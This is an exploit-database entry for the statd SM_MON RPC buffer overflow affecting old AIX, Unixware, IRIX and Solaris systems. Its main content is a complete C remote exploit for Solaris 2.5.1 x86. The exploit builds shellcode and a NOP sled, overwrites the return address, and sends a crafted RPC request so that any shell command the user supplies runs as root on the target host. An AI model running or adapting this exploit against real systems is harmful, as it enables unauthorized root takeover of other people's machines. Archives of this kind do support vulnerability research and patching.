Lucene search
K

IBM AIX 3.2/4.1,SCO Unixware <= 7.1.1,SGI IRIX <= 5.3,Sun Solaris <= 2.5.1

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Statd RPC buffer overflow vulnerability on multiple Unix system

Code

                                                source: http://www.securityfocus.com/bid/127/info

Statd is the RPC NFS status daemon. It is used to communicate status information to other services or host.

The version of statd shipped with many unix implementations contains a buffer overflow condition. This overflow condition exists in the handling of &#39;SM_MON&#39; RPC requests.

Any attacker to successfully exploit this vulnerability would gain root privileges on the target host.


/*
 statd remote overflow, solaris 2.5.1 x86
 there is a patch for statd in solaris 2.5, well, it looks like
 they check only for &#39;/&#39; characters and they left overflow there ..
 nah, it&#39;s solaris

 usage: ./r host [cmd]  # default cmd is &#34;touch /tmp/blahblah&#34;
                        # remember that statd is standalone daemon

 Please do not distribute.
 */

#include &#60;sys/types.h&#62;
#include &#60;sys/time.h&#62;
#include &#60;stdio.h&#62;
#include &#60;string.h&#62;
#include &#60;netdb.h&#62;
#include &#60;rpc/rpc.h&#62;
#include &#60;rpcsvc/sm_inter.h&#62;
#include &#60;sys/socket.h&#62;

#define BUFSIZE 1024
#define ADDRS 2+1+1+4
#define ADDRP 0x8045570;

/* up to ~ 150 characters, there must be three strings */
char *cmd[3]={&#34;/bin/sh&#34;, &#34;-c&#34;, &#34;touch /tmp/blahblah&#34;};

char asmcode[]=&#34;\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x0


1\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02&#34;;
char nop[]=&#34;\x90&#34;;

char code[4096];

void usage(char *s) {
  printf(&#34;Usage: %s host [cmd]\n&#34;, s);
  exit(0);
}

main(int argc, char *argv[]) {
  CLIENT *cl;
  enum clnt_stat stat;
  struct timeval tm;
  struct mon monreq;
  struct sm_stat_res monres;
  struct hostent *hp;
  struct sockaddr_in target;
  int sd, i, noplen=strlen(nop);
  char *ptr=code;

  if (argc &#60; 2)
    usage(argv[0]);
  if (argc == 3)
    cmd[2]=argv[2];

  for (i=0; i&#60; sizeof(code); i++)
    *ptr++=nop[i % noplen];

  strcpy(&code[750], asmcode);  /* XXX temp. */
  ptr=code+strlen(code);
  for (i=0; i&#60;=strlen(cmd[0]); i++)
    *ptr++=cmd[0][i]-1;
  for (i=0; i&#60;=strlen(cmd[1]); i++)
    *ptr++=cmd[1][i]-1;
  for (i=0; i&#60;=strlen(cmd[2]); i++)
    *ptr++=cmd[2][i]-1;
  ptr=code+BUFSIZE-(ADDRS&#60;&#60;2);
  for (i=0; i&#60;ADDRS; i++, ptr+=4)
    *(int *)ptr=ADDRP;
  *ptr=0;

  printf(&#34;strlen = %d\n&#34;, strlen(code));

  memset(&monreq, 0, sizeof(monreq));
  monreq.mon_id.my_id.my_name=&#34;localhost&#34;;
  monreq.mon_id.my_id.my_prog=0;
  monreq.mon_id.my_id.my_vers=0;
  monreq.mon_id.my_id.my_proc=0;
  monreq.mon_id.mon_name=code;

  if ((hp=gethostbyname(argv[1])) == NULL) {
    printf(&#34;Can&#39;t resolve %s\n&#34;, argv[1]);
    exit(0);
  }
  target.sin_family=AF_INET;
  target.sin_addr.s_addr=*(u_long *)hp-&#62;h_addr;
  target.sin_port=0;    /* ask portmap */
  sd=RPC_ANYSOCK;

  tm.tv_sec=10;
  tm.tv_usec=0;
  if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
    clnt_pcreateerror(&#34;clnt_create&#34;);
    exit(0);
  }
  stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
                (char *)&monres, tm);
  if (stat != RPC_SUCCESS)
    clnt_perror(cl, &#34;clnt_call&#34;);
  else
    printf(&#34;stat_res = %d.\n&#34;, monres.res_stat);
  clnt_destroy(cl);
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
14